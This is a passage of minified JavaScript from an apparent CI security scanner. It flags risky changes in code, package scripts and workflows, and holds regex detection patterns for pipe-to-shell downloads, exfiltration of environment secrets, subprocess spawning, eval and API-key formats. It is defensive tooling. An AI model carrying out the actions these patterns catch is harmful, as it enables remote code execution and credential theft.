checksum verification, or vendor reviewed files into the repository."}]}function detectPipeToShell(e){if(!/^\s*RUN\b.*(?:curl|wget)[^\n|]*https?:\/\/[^\n|]*\|\s*(?:ba)?sh\b/i.test(e.content)){return[]}return[{kind:"capability_echo.dockerfile_pipe_to_shell",surface:"container",severity:"critical",file:e.file,line:e.line,subject:"Dockerfile pipe-to-shell",message:"Dockerfile downloads remote content and pipes it directly to a shell during image build.",recommendation:"Replace remote pipe-to-shell with pinned, reviewable build steps and checksum verification."}]}function detectJsCapability(e,t={}){const n=[];const i=collectSecretVariables(e,t);for(const t of e){if(!(0,s.Mn)(t.file)||(0,s.w5)(t.content)){continue}const e=(0,s.hl)(t.file);n.push(...detectFetch(t,e));n.push(...detectSecretExfil(t,e,i.get(t.file)??new Set));n.push(...detectSubprocess(t,e));n.push(...detectDynamicEval(t,e))}return n}function collectSecretVariables(e,t){const n=new Map;for(const t of e){if(!(0,s.Mn)(t.file)){continue}addSecretVariable(n,t.file,t.content)}for(const[e,i]of Object.entries(t)){if(!(0,s.Mn)(e)){continue}for(const t of i.split(/\r?\n/)){addSecretVariable(n,e,t)}}return n}function addSecretVariable(e,t,n){const i=n.match(/\b(?:const|let|var)\s+([A-Za-z_$][\w$]*)\s*=\s*process\.env(?:\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b|\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\])/i);if(!i){return}const s=e.get(t)??new Set;s.add(i[1]);e.set(t,s)}function detectFetch(e,t){if(!/(?:fetch\s*\(|axios\.(?:get|post|put|delete|patch|request)\s*\(|got\s*\()/i.test(e.content)){return[]}if(!/(?:https?:\/\/|['"]https?:\/\/)/i.test(e.content)){return[]}if(/(?:fetch\s*\(\s*['"`]\/|axios\.(?:get|post|put|delete|patch|request)\s*\(\s*['"`]\/)/i.test(e.content)){return[]}return[{kind:"capability_echo.external_fetch_added",surface:"source",severity:t?"low":"medium",file:e.file,line:e.line,subject:"External network fetch",message:"Added code performs an external HTTP request that expands network reach.",recommendation:"Review the endpoint, data sent, and whether the request belongs in this change."}]}function detectSecretExfil(e,t,n){if(!isExternalHttpRequest(e.content)||!referencesEnvSecret(e.content)&&!referencesSecretVariable(e.content,n)){return[]}return[{kind:"capability_echo.source_secret_exfil_pattern",surface:"source",severity:t?"medium":"high",file:e.file,line:e.line,subject:"Source secret exfiltration pattern",message:"Added source code sends environment-secret-shaped data to an external endpoint.",recommendation:"Do not send env secrets to external services unless the endpoint and payload are explicitly required."}]}function isExternalHttpRequest(e){return/(?:fetch\s*\(|axios\.(?:get|post|put|delete|patch|request)\s*\(|got\s*\()/i.test(e)&&/(?:https?:\/\/|['"]https?:\/\/)/i.test(e)}function referencesEnvSecret(e){return/\bprocess\.env(?:\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b|\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\])/i.test(e)}function referencesSecretVariable(e,t){return[...t].some((t=>new RegExp(String.raw`\b${escapeRegExp(t)}\b`).test(e)))}function escapeRegExp(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function detectSubprocess(e,t){if(!/(?:child_process|execSync\s*\(|exec\s*\(|spawnSync\s*\(|spawn\s*\(|Bun\.spawn\s*\()/i.test(e.content)){return[]}return[{kind:"capability_echo.subprocess_spawn_added",surface:"source",severity:t?"low":"high",file:e.file,line:e.line,subject:"Subprocess spawn",message:"Added code can spawn shell commands or subprocesses.",recommendation:"Confirm the command source is trusted and scoped to the task."}]}function detectDynamicEval(e,t){if(!/(?:\beval\s*\(|new\s+Function\s*\(|vm\.runInNewContext\s*\()/i.test(e.content)){return[]}return[{kind:"capability_echo.dynamic_eval_added",surface:"source",severity:t?"medium":"critical",file:e.file,line:e.line,subject:"Dynamic code execution",message:"Added code can evaluate dynamic JavaScript at runtime.",recommendation:"Avoid eval-style execution unless strictly required and heavily constrained."}]}var r=i(455);var o=i(760);const a=e(import.meta.url)("node:crypto");const c=["low","medium","high","critical"];const l=null&&["scope_trail","policy_mesh","capability_echo","task_bound","session_trail"];function finding_isSeverity(e){return typeof e==="string"&&c.includes(e)}function finding_isToolKind(e){return typeof e==="string"&&l.includes(e)}function kind(e,t){if(!/^[a-z0-9_]+$/.test(t)){throw new Error(`agent-gov-core/kind: name '${t}' must match [a-z0-9_]+ (kebab, camelCase, and dots are rejected)`)}return`${e}.${t}`}const u=/^(scope_trail|policy_mesh|capability_echo|task_bound|session_trail)\.[a-z0-9_]+$/;function isNamespacedKind(e){return typeof e==="string"&&u.test(e)}function createFinding(e){const t={tool:e.tool,kind:kind(e.tool,e.name),severity:e.severity,message:e.message};if(e.detail!==undefined)t.detail=e.detail;if(e.location!==undefined)t.location=e.location;if(e.salientKey!==undefined)t.salientKey=e.salientKey;if(e.data!==undefined)t.data=e.data;t.fingerprint=e.fingerprint??fingerprintFinding(t);return t}function fingerprintFinding(e){const t=e.location?.file?.replace(/\\/g,"/")??"";const n=[e.kind,t,e.location?.line??"",e.location?.column??""];if(e.salientKey!==undefined){n.push(e.salientKey)}return createHash("sha256").update(n.join("|")).digest("hex").slice(0,16)}const f=new Set(["tool","kind","severity","message","detail","location","fingerprint","salientKey","data"]);const p=new Set(["file","line","column","endLine","endColumn"]);function finding_validateFinding(e){const t=[];if(e===null||typeof e!=="object"||Array.isArray(e)){return{ok:false,errors:["finding must be a plain object"]}}const n=e;if(!finding_isToolKind(n.tool))t.push(`tool must be one of: ${l.join(", ")}`);if(!isNamespacedKind(n.kind))t.push("kind must match '.' (e.g. 'scope_trail.permission_allow_widened')");if(!finding_isSeverity(n.severity))t.push(`severity must be one of: ${c.join(", ")}`);if(typeof n.message!=="string"||n.message.length===0)t.push("message must be a non-empty string");if(finding_isToolKind(n.tool)&&isNamespacedKind(n.kind)&&!n.kind.startsWith(`${n.tool}.`)){t.push(`kind '${n.kind}' must start with tool '${n.tool}.'`)}if(n.detail!==undefined&&typeof n.detail!=="string"){t.push("detail must be a string when present")}if(n.fingerprint!==undefined&&typeof n.fingerprint!=="string"){t.push("fingerprint must be a string when present")}if(n.salientKey!==undefined&&typeof n.salientKey!=="string"){t.push("salientKey must be a string when present")}if(n.data!==undefined&&(n.data===null||typeof n.data!=="object"||Array.isArray(n.data))){t.push("data must be an object when present")}if(n.location!==undefined){t.push(...validateLocation(n.location))}for(const e of Object.keys(n)){if(!f.has(e))t.push(`unknown property: ${e}`)}return{ok:t.length===0,errors:t}}function validateLocation(e){const t=[];if(e===null||typeof e!=="object"||Array.isArray(e)){return["location must be an object when present"]}const n=e;if(typeof n.file!=="string"||n.file.length===0){t.push("location.file must be a non-empty string")}for(const e of["line","column","endLine","endColumn"]){if(n[e]!==undefined){const i=n[e];if(typeof i!=="number"||!Number.isInteger(i)||i<1){t.push(`location.${e} must be a positive integer when present`)}}}for(const e of Object.keys(n)){if(!p.has(e))t.push(`unknown location property: ${e}`)}return t}const d=e(import.meta.url)("node:fs");class ConfigParseError extends Error{line;column;rawOffset;constructor(e,t){super(e);this.name="ConfigParseError";this.line=t.line;this.column=t.column;this.rawOffset=t.rawOffset;if(t.cause){this.cause=t.cause}}}function lineColumnOfOffset(e,t){const n=Math.max(0,Math.min(t,e.length));let i=1;let s=1;for(let t=0;t=this.len)break;const e=this.src[this.pos];if(e==="#"){this.skipComment();continue}if(e==="["){if(this.src[this.pos+1]==="["){this.parseArrayOfTablesHeader()}else{this.parseTableHeader()}continue}this.parseKeyValue(this.current)}return this.root}skipWhitespaceAndNewlines(){while(this.pos=this.len)return;const e=this.src[this.pos];if(e==="#"){this.skipComment();return}if(e==="\n"||e==="\r")return;throw new Error(`Unexpected character ${JSON.stringify(e)} at offset ${this.pos}; expected end of line`)}parseTableHeader(){this.pos++;this.skipInlineWhitespace();const e=this.parseKeyChain();this.skipInlineWhitespace();if(this.src[this.pos]!=="]"){throw new Error(`Expected ']' at offset ${this.pos}`)}this.pos++;this.expectLineEnd();const t=e.join(this.PATH_KEY_SEPARATOR);if(this.aotPaths.has(t)){throw new Error(`Cannot redefine array-of-tables [[${e.join(".")}]] as a standard table [${e.join(".")}] at offset ${this.pos}`)}const n=this.descendTablePath(e,true);if(this.definedTables.has(t)){throw new Error(`Duplicate table definition: [${e.join(".")}] at offset ${this.pos}`)}this.definedTables.add(t);this.current=n}parseArrayOfTablesHeader(){this.pos+=2;this.skipInlineWhitespace();const e=this.parseKeyChain();this.skipInlineWhitespace();if(this.src[this.pos]!=="]"||this.src[this.pos+1]!=="]"){throw new Error(`Expected ']]' at offset ${this.pos}`)}this.pos+=2;this.expectLineEnd();const t=this.descendTablePath(e.slice(0,-1),true);const n=e[e.length-1];let i=t[n];if(i===undefined){i=[];t[n]=i;this.aotPaths.add(e.join(this.PATH_KEY_SEPARATOR))}else if(!Array.isArray(i)){throw new Error(`Key ${e.join(".")} is not an array-of-tables`)}const s=e.join(this.PATH_KEY_SEPARATOR)+this.PATH_KEY_SEPARATOR;for(const e of this.definedTables){if(e.startsWith(s)){this.definedTables.delete(e)}}const r={};i.push(r);this.current=r}descendTablePath(e,t){let n=this.root;for(let t=0;tseverityRank(t))t=n.severity}return t}function severityRank(e){if(e==="none")return 0;if(e==="low")return 1;if(e==="medium")return 2;if(e==="high")return 3;return 4}const y=new Set(["schemaVersion","tool","toolVersion","runId","conversationId","baseRef","headRef","rating","findings","data"]);const w=new Set(["none",...c]);function validateReport(e){const t=[];if(e===null||typeof e!=="object"||Array.isArray(e)){return{ok:false,errors:["report must be a plain object"]}}const n=e;if(n.schemaVersion!==g){t.push(`schemaVersion must be '${g}'`)}if(!isToolKind(n.tool)){t.push(`tool must be one of: ${TOOL_KINDS.join(", ")}`)}if(typeof n.rating!=="string"||!w.has(n.rating)){t.push(`rating must be one of: none, ${SEVERITIES.join(", ")}`)}if(!Array.isArray(n.findings)){t.push("findings must be an array")}else{for(let e=0;evalidateFinding(e).ok));if(e){const e=report_maxSeverity(n.findings);if(severityRank(n.rating)=action_rankSeverity(t)}function anyAtOrAbove(e,t){for(const n of e){if(passesSeverityThreshold(n.severity,t))return true}return false}function emitFindingAnnotation(e){const t=e.severity==="critical"||e.severity==="high"?"error":"warning";const n=[];if(e.location?.file)n.push(`file=${escapeProperty(e.location.file)}`);if(e.location?.line!=null)n.push(`line=${e.location.line}`);if(e.location?.column!=null)n.push(`col=${e.location.column}`);if(e.location?.endLine!=null)n.push(`endLine=${e.location.endLine}`);if(e.location?.endColumn!=null)n.push(`endColumn=${e.location.endColumn}`);n.push(`title=${escapeProperty(`[${e.kind}] ${e.severity}`)}`);const i=escapeData(e.message);return`::${t} ${n.join(",")}::${i}`}function escapeData(e){return e.replace(/%/g,"%25").replace(/\r/g,"%0D").replace(/\n/g,"%0A")}function escapeProperty(e){return e.replace(/%/g,"%25").replace(/\r/g,"%0D").replace(/\n/g,"%0A").replace(/:/g,"%3A").replace(/,/g,"%2C")}function generateWorkflowSummary(e,t={}){const n=t.title??"Findings";const i=t.perSeverityLimit??100;const s=t.messageMaxLength??200;if(e.length===0){return`# ${n}\n\nNo findings.\n`}const r={critical:[],high:[],medium:[],low:[]};for(const t of e)r[t.severity].push(t);const o={critical:r.critical.length,high:r.high.length,medium:r.medium.length,low:r.low.length};const a=[];a.push(`# ${n}`,"");a.push(`**Total**: ${e.length} finding${e.length===1?"":"s"} — `+`${o.critical} critical, ${o.high} high, `+`${o.medium} medium, ${o.low} low`);a.push("");const c=["critical","high","medium","low"];for(const e of c){const t=r[e];if(t.length===0)continue;const n=t.slice(0,i);const o=t.length-n.length;a.push(``);a.push(`${t.length} ${e}`);a.push("");a.push("| File | Line | Kind | Message |");a.push("|------|------|------|---------|");for(const e of n){a.push("| "+[escapeMarkdownTableCell(e.location?.file??"—"),e.location?.line??"—",escapeMarkdownTableCell(e.kind),escapeMarkdownTableCell(truncate(e.message,s))].join(" | ")+" |")}if(o>0){a.push(`| _(+${o} more ${e} finding${o===1?"":"s"})_ | | | |`)}a.push("");a.push("");a.push("")}return a.join("\n")}function truncate(e,t){if(e.length<=t)return e;return e.slice(0,Math.max(1,t-1))+"…"}function escapeMarkdownTableCell(e){return String(e).replace(/&/g,"&").replace(//g,">").replace(/\|/g,"\\|").replace(/\r?\n/g," ")}function mergeFindings(e,t={}){const n=t.threshold??"low";const i=t.duplicatePolicy??"highest_severity";const s=rankSeverity(n);const r=[];const o=[];const a=[];const c=new Map;let l=0;let u=0;for(let t=0;trankSeverity(f.severity)){c.set(o,n)}}}}const f=Array.from(c.values()).sort(((e,t)=>rankSeverity(t.severity)-rankSeverity(e.severity)));const p={low:0,medium:0,high:0,critical:0};for(const e of f)p[e.severity]++;const d=r.map((e=>e.conversationId));const h=d.length>0&&d.every((e=>e!==undefined&&e===d[0]));const m={schemaVersion:"1.0",sources:r,rating:maxSeverity(f),findings:f,droppedBelowThreshold:l,duplicateCollapsed:u,invalidReports:o,invalidFindings:a,severityCounts:p};if(h)m.conversationId=d[0];return m}function candidateTool(e){if(e===null||typeof e!=="object")return undefined;const t=e.tool;return typeof t==="string"&&/^(scope_trail|policy_mesh|capability_echo|task_bound|session_trail)$/.test(t)?t:undefined}function validateReportEnvelope(e){const t=[];if(e===null||typeof e!=="object"||Array.isArray(e)){return{ok:false,errors:["report must be a plain object"]}}const n=e;if(n.schemaVersion!==REPORT_SCHEMA_VERSION){t.push(`schemaVersion must be '${REPORT_SCHEMA_VERSION}'`)}if(!isToolKind(n.tool)){t.push(`tool must be one of: ${TOOL_KINDS.join(", ")}`)}const i=new Set(["none",...SEVERITIES]);if(typeof n.rating!=="string"||!i.has(n.rating)){t.push(`rating must be one of: none, ${SEVERITIES.join(", ")}`)}if(!Array.isArray(n.findings)){t.push("findings must be an array")}return{ok:t.length===0,errors:t}}const _=[{provider:"Anthropic",regex:/sk-ant-[A-Za-z0-9_-]{20,}/},{provider:"OpenAI",regex:/sk-proj-[A-Za-z0-9_-]{20,}/},{provider:"OpenAI",regex:/sk-(?!ant-|proj-)[A-Za-z0-9]{32,}/},{provider:"GitHub",regex:/gh[pousr]_[A-Za-z0-9]{36,}/},{provider:"GitHub",regex:/github_pat_[A-Za-z0-9_]{20,}/},{provider:"Slack",regex:/xox[abprs]-[A-Za-z0-9-]{20,}/},{provider:"AWS",regex:/AKIA[0-9A-Z]{16}/},{provider:"Google",regex:/AIza[0-9A-Za-z_-]{35}/},{provider:"GitLab",regex:/glpat-[A-Za-z0-9_-]{20,}/},{provider:"npm",regex:/npm_[A-Za-z0-9]{36}/},{provider:"Docker",regex:/dckr_pat_[A-Za-z0-9_-]{20,}/},{provider:"Stripe",regex:/(?:sk|rk)_(?:live|test)_[A-Za-z0-9]{20,}/},{provider:"Hex token",regex:/(?:^|[^A-Fa-f0-9])([A-Fa-f0-9]{40,})(?:$|[^A-Fa-f0-9])/,envOrHeaderOnly:true}];const k="env:";function matchSecret(e,t={}){if(!e)return undefined;if(e.startsWith(k))return undefined;for(const n of _){if(n.envOrHeaderOnly&&!t.envOrHeaderContext)continue;if(n.regex.test(e)){return{provider:n.provider}}}return undefined}function lineOfJsonKey(e,t,n){const i=jsonEncodeForRegex(t);return findLineByRegex(e,new RegExp(`"${i}"\\s*:`),n)}function lineOfJsonStringValue(e,t,n){const i=jsonEncodeForRegex(t);return findLineByRegex(e,new RegExp(`"${i}"(?!\\s*:)`),n)}function jsonEncodeForRegex(e){const t=JSON.stringify(e).slice(1,-1);return escapeForRegex(t)}function lineOfTomlKey(e,t,n){const i=splitTomlDottedKey(t);if(i.length===0)return 0;const s=e.split(/\r?\n/);const r=scopeLineFilter(e,n);let o=[];let a=null;for(let e=0;ee===i[t]));if(!f)continue;const p=i.slice(o.length);if(p.length===0)continue;const d=p.map(escapeForRegex).join("\\s*\\.\\s*");const h=new RegExp(`^\\s*${d}\\s*=`);if(h.test(n))return t;if(p.length===1){const e=p[0];const i=new RegExp(`^\\s*(?:${escapeForRegex(e)}|"${escapeForRegex(e)}"|'${escapeForRegex(e)}')\\s*(?:\\.|=)`);if(i.test(n))return t}}return 0}function updateMultilineStringState(e,t){let n=t;let i=0;while(itrue;const n=lineOfOffset(e,t.start);const i=lineOfOffset(e,Math.max(t.start,t.end-1));return e=>e>=n&&e<=i}function findLineByRegex(e,t,n){const i=stripJsonComments(e);const s=n?i.slice(n.start,n.end):i;const r=t.exec(s);if(!r)return 0;const o=(n?n.start:0)+r.index;return lineOfOffset(e,o)}function lineOfOffset(e,t){let n=1;for(let i=0;i=i)break;const s=e[n];if(s==='"'){n++;const s=n;while(n`${e}=${t}`)).sort();t.push(`env=${n.join("|")}`)}return t.join("\n")}function normalizeExecutable(e){const t=e.trim();const n=t.replace(/\\/g,"/");const i=/\.(cmd|exe|bat|ps1)$/i.test(n);const s=n.replace(/\.(cmd|exe|bat|ps1)$/i,"");const r=i||t.includes("\\");const o=r?s.toLowerCase():s;const a=o.split("/").pop()??o;if(v.has(a.toLowerCase())){return r?a.toLowerCase():a}return o}const v=new Set(["node","npx","npm","pnpm","yarn","python","python3","pip","pip3","pipx","uvx","uv","ruby","gem","bundle","perl","cpan","bash","sh","zsh","fish","powershell","pwsh","deno","bun","tsx","ts-node"]);function normalizePath(e){return e.trim().replace(/\\/g,"/").replace(/\/+$/,"")}const S=new Set(["-y","--yes"]);const E=new Set(["-v","-V","-q","-h","-d","--verbose","--quiet","--silent","--debug","--help","--version","--force","--dry-run","--no-cache","--no-color","--no-progress","--json"]);function canonicalizeArgs(e){const t=e.filter((e=>!S.has(e)));const n=[];const i=[];let s=false;let r=0;for(let e=0;eet?1:0));const o=[...n];for(const[e,t]of i){if(e.startsWith("__pos_")){o.push(e.slice(e.indexOf("__",6)+2))}else if(t===null){o.push(e)}else{o.push(`${e}=${t}`)}}return o}async function readJsonObject(e){return(await discovery_readJsonObjectWithSource(e)).json}async function discovery_readJsonObjectWithSource(e){try{const t=await readFile(e,"utf8");const n=JSON.parse(t);return{json:isRecord(n)?n:{},text:t}}catch(e){if(isNodeError(e)&&e.code==="ENOENT"){return{json:{},text:""}}throw e}}function configPath(e,t){return(0,o.join)(e,t)}function isRecord(e){return typeof e==="object"&&e!==null&&!Array.isArray(e)}function discovery_lineOfJsonKey(e,t){const n=lineOfJsonKey(e,t);return n===0?undefined:n}function discovery_lineOfJsonStringValue(e,t){const n=lineOfJsonStringValue(e,t);return n===0?undefined:n}function isNodeError(e){return e instanceof Error&&"code"in e}var x=i(924);const A=["postinstall","preinstall","prepare","install"];async function detectPackageScripts(e){const t=e.mode==="directories"?await(0,x.kf)(e.newRoot):await listChangedPackageJsonFiles(e.repo,e.base,e.head);const n=[];for(const i of t){const t=await readScriptsAt(e,i,"old");const s=await readScriptsAt(e,i,"new");const r=await readPackageTextAt(e,i,"new");n.push(...compareScripts(i,t,s,r))}return n}async function listChangedPackageJsonFiles(e,t,n){return(await(0,x.Eh)(e,t,n)).filter(s.xr)}async function readScriptsAt(e,t,n){const i=await readPackageTextAt(e,t,n);if(!i){return{}}try{const e=JSON.parse(i);if(!isRecord(e)||!isRecord(e.scripts)){return{}}const t={};for(const[n,i]of Object.entries(e.scripts)){if(typeof i==="string"){t[n]=i}}return t}catch{return{}}}async function readPackageTextAt(e,t,n){if(e.mode==="directories"){const i=n==="old"?e.oldRoot:e.newRoot;try{return await(0,r.readFile)(configPath(i,t),"utf8")}catch{return""}}const i=n==="old"?e.base:e.head;return await(0,x.p9)(e.repo,i,t)??""}function compareScripts(e,t,n,i){const s=[];for(const r of A){const o=n[r];if(!o){continue}const a=t[r];if(a===o){continue}const c=discovery_lineOfJsonKey(i,r)??discovery_lineOfJsonStringValue(i,o);s.push({kind:"capability_echo.lifecycle_script_added",surface:"package",severity:"high",file:e,line:c,subject:`package.json ${r} script`,message:`Added or changed npm ${r} lifecycle script.`,recommendation:"Review lifecycle scripts carefully; they run automatically on install."});s.push(...analyzeScriptContent(e,r,o,i))}for(const[r,o]of Object.entries(n)){if(A.includes(r)){continue}const n=t[r];if(n===o){continue}s.push(...analyzeScriptContent(e,r,o,i))}return s}function analyzeScriptContent(e,t,n,i){const s=[];const r=discovery_lineOfJsonStringValue(i,n)??discovery_lineOfJsonKey(i,t);if(/(?:curl[^\n|]*\|\s*(?:ba)?sh|wget[^\n|]*\|\s*sh|Invoke-Expression|iex\s*\()/i.test(n)){s.push({kind:"capability_echo.script_pipe_to_shell",surface:"package",severity:"critical",file:e,line:r,subject:`package.json ${t} pipe-to-shell`,message:"Script downloads and pipes content directly into a shell.",recommendation:"Replace remote pipe-to-shell patterns with pinned, reviewable install steps."})}if(/\b(curl|wget|npm publish)\b/i.test(n)||/\bnpx\b(?![^\s]*@\d+\.\d+\.\d+)/i.test(n)){s.push({kind:"capability_echo.script_network_command",surface:"package",severity:"medium",file:e,line:r,subject:`package.json ${t} network command`,message:"Script performs a network or publish command.",recommendation:"Pin package versions and verify remote commands before merge."})}return s}const $=new Set(["puppeteer","puppeteer-core","playwright","playwright-core","cypress","webdriverio","selenium-webdriver","nightwatch","execa","cross-spawn","node-pty","shelljs","zx","tinyspawn","node-fetch","undici","got","axios","request","superagent","vm2","isolated-vm","socks-proxy-agent","https-proxy-agent","ssh2","node-ssh"]);const R=new Set(["@segment/analytics-node","mixpanel","amplitude-js","posthog-js","@sentry/node","@sentry/browser"]);const P=["dependencies","devDependencies","optionalDependencies","peerDependencies"];async function detectPackageDeps(e){const t=e.mode==="directories"?await(0,x.kf)(e.newRoot):await listChangedPackageJsonFiles(e.repo,e.base,e.head);const n=[];for(const i of t){const t=await readPackageTextAt(e,i,"old");const s=await readPackageTextAt(e,i,"new");n.push(...compareDeps(i,t,s))}return n}function compareDeps(e,t,n){const i=readAllDeps(t);const s=readAllDeps(n);const r=[];for(const[t,o]of s.entries()){if(i.has(t)){continue}if($.has(t)){r.push({kind:"capability_echo.high_capability_dep_added",surface:"package",severity:"high",file:e,line:discovery_lineOfJsonStringValue(n,o)??discovery_lineOfJsonKey(n,t),subject:t,message:`Added dependency "${t}" can reach the network, spawn subprocesses, or evaluate code.`,recommendation:"Confirm this dependency is required for the stated change and that its usage is scoped."});continue}if(R.has(t)){r.push({kind:"capability_echo.telemetry_dep_added",surface:"package",severity:"medium",file:e,line:discovery_lineOfJsonStringValue(n,o)??discovery_lineOfJsonKey(n,t),subject:t,message:`Added telemetry/analytics dependency "${t}" — ships an outbound network surface by default.`,recommendation:"Verify the telemetry destination, payload, and opt-out posture."})}}return r}function readAllDeps(e){const t=new Map;if(!e.trim()){return t}let n;try{n=JSON.parse(e)}catch{return t}if(!isRecord(n)){return t}for(const e of P){const i=n[e];if(!isRecord(i)){continue}for(const[e,n]of Object.entries(i)){if(typeof n==="string"){t.set(e,n)}}}return t}function detectPyCapability(e,t={}){const n=[];const i=py_capability_collectSecretVariables(e,t);for(const t of e){if(!(0,s.UD)(t.file)||(0,s.w5)(t.content)){continue}const e=(0,s.hl)(t.file);n.push(...detectPyNetwork(t,e));n.push(...detectPySecretExfil(t,e,i.get(t.file)??new Set));n.push(...detectPySubprocess(t,e));n.push(...detectPyDynamicExec(t,e));n.push(...detectPyUnsafeDeserialize(t,e))}return n}function py_capability_collectSecretVariables(e,t){const n=new Map;for(const t of e){if(!(0,s.UD)(t.file)){continue}py_capability_addSecretVariable(n,t.file,t.content)}for(const[e,i]of Object.entries(t)){if(!(0,s.UD)(e)){continue}for(const t of i.split(/\r?\n/)){py_capability_addSecretVariable(n,e,t)}}return n}function py_capability_addSecretVariable(e,t,n){const i=n.match(/^\s*([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(?:(?:os\.)?environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])|(?:os\.)?getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i);if(!i){return}const s=e.get(t)??new Set;s.add(i[1]);e.set(t,s)}function detectPyNetwork(e,t){const n=/\b(?:requests|httpx)\.(?:get|post|put|delete|patch|head|options|request)\s*\(|\burllib(?:2)?\.(?:request\.)?urlopen\s*\(|\burlopen\s*\(|\burllib\.request\.urlretrieve\s*\(|\baiohttp\.ClientSession\s*\(/i;if(!n.test(e.content)){return[]}if(!/(?:https?:\/\/|['"]https?:\/\/)/i.test(e.content)){return[]}return[{kind:"capability_echo.external_fetch_added",surface:"source",severity:t?"low":"medium",file:e.file,line:e.line,subject:"External network call (Python)",message:"Added Python performs an external HTTP request that expands network reach.",recommendation:"Review the endpoint, request payload, and whether the call belongs in this change."}]}function detectPySecretExfil(e,t,n){if(!isPyExternalRequest(e.content)||!referencesPyEnvSecret(e.content)&&!py_capability_referencesSecretVariable(e.content,n)){return[]}return[{kind:"capability_echo.source_secret_exfil_pattern",surface:"source",severity:t?"medium":"high",file:e.file,line:e.line,subject:"Source secret exfiltration pattern (Python)",message:"Added Python sends environment-secret-shaped data to an external endpoint.",recommendation:"Do not send env secrets to external services unless the endpoint and payload are explicitly required."}]}function isPyExternalRequest(e){return/\b(?:requests|httpx)\.(?:get|post|put|delete|patch|head|options|request)\s*\(|\burllib(?:2)?\.(?:request\.)?urlopen\s*\(|\burlopen\s*\(|\burllib\.request\.urlretrieve\s*\(|\baiohttp\.ClientSession\s*\(/i.test(e)&&/(?:https?:\/\/|['"]https?:\/\/)/i.test(e)}function referencesPyEnvSecret(e){return/\b(?:os\.)?environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i.test(e)||/\b(?:os\.)?getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]/i.test(e)}function py_capability_referencesSecretVariable(e,t){return[...t].some((t=>new RegExp(String.raw`\b${py_capability_escapeRegExp(t)}\b`).test(e)))}function py_capability_escapeRegExp(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function detectPySubprocess(e,t){const n=/\bsubprocess\.(?:run|call|Popen|check_call|check_output|getoutput|getstatusoutput)\s*\(|\bos\.(?:system|popen|execv\w*|spawnv?\w*)\s*\(|\bcommands\.getoutput\s*\(|\bpty\.spawn\s*\(/i;if(!n.test(e.content)){return[]}return[{kind:"capability_echo.subprocess_spawn_added",surface:"source",severity:t?"low":"high",file:e.file,line:e.line,subject:"Subprocess spawn (Python)",message:"Added Python can spawn shell commands or subprocesses.",recommendation:"Confirm the command source is trusted and scoped to the task."}]}function detectPyDynamicExec(e,t){const n=/\beval\s*\(|\bexec\s*\(|\bcompile\s*\(|\b__import__\s*\(|\bimportlib\.import_module\s*\(/i;if(!n.test(e.content)){return[]}return[{kind:"capability_echo.dynamic_eval_added",surface:"source",severity:t?"medium":"critical",file:e.file,line:e.line,subject:"Dynamic code execution (Python)",message:"Added Python can evaluate dynamic code or import modules by name at runtime.",recommendation:"Avoid eval-style execution unless strictly required; never feed user input to these."}]}function detectPyUnsafeDeserialize(e,t){const n=/\bpickle\.(?:load|loads)\s*\(|\bmarshal\.(?:load|loads)\s*\(|\byaml\.load\s*\((?![^)]*Loader\s*=\s*(?:yaml\.)?SafeLoader)/i;if(!n.test(e.content)){return[]}return[{kind:"capability_echo.unsafe_deserialize_added",surface:"source",severity:t?"medium":"critical",file:e.file,line:e.line,subject:"Unsafe deserialization (Python)",message:"Added Python deserializes untrusted-shaped input (pickle / marshal / yaml.load).",recommendation:"Use yaml.safe_load and avoid pickle/marshal on data crossing trust boundaries."}]}function detectShellCapability(e){const t=[];for(const n of e){if(!(0,s.Z7)(n.file)||(0,s.w5)(n.content)){continue}t.push(...shell_capability_detectPipeToShell(n));t.push(...detectExternalDownload(n))}return t}function shell_capability_detectPipeToShell(e){if(!/(?:curl|wget|Invoke-WebRequest|iwr)[^\n|]*https?:\/\/[^\n|]*\|\s*(?:ba)?sh\b|iex\s*\(|Invoke-Expression/i.test(e.content)){return[]}return[{kind:"capability_echo.shell_pipe_to_shell",surface:"source",severity:"critical",file:e.file,line:e.line,subject:"Shell remote pipe-to-shell",message:"Added shell script downloads remote content and pipes it directly to a shell.",recommendation:"Replace remote pipe-to-shell with pinned, reviewable install steps."}]}function detectExternalDownload(e){if(!/\b(curl|wget|Invoke-WebRequest|iwr)\b[^\n]*https?:\/\//i.test(e.content)){return[]}return[{kind:"capability_echo.shell_external_download",surface:"source",severity:"medium",file:e.file,line:e.line,subject:"Shell external download",message:"Added shell script downloads content from an external URL.",recommendation:"Verify the URL, checksum or signature, and whether the download belongs in this change."}]}const T=/^\s*(?:actions|artifact-metadata|attestations|checks|code-quality|contents|deployments|discussions|id-token|issues|packages|pages|pull-requests|security-events|statuses)\s*:\s*write\b/i;function detectWorkflowPermissions(e,t={}){const n=[];const i=new Set(e.filter((e=>(0,s.Kr)(e.file)&&isPullRequestTargetLine(e.content))).map((e=>e.file)));const r=collectSecretEnvVars(e,t);for(const[e,n]of 